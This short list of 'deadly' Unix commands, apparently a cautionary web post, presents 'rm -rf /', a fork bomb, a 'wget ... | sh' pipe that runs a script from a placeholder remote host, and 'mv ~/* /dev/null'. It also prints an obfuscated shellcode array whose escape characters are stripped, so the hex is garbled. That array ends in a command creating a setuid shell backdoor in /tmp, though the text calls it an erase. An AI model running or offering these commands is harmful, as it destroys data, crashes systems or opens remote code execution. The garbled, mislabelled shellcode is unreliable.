Deadly Unix Commands

• the oldie but goodie

rm -rf /

will recursively/force erase starting from the root directory

• the obfuscated oldie but goodie

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

same as the previous one but harder to tell what it actually does

• the fork bomb

<code class="plain plain">:(){:|:&};:</code>

forks processes until the box dies. note that this command should not result in permanent damage unlike the other ones.

• running code from a remote source

wget http://remote_source.com/lulscript -O- | sh

lulscript will be executed on the local machine

• the one you don’t need root for

mv ~/* /dev/null

sends the relative home directory into a black hole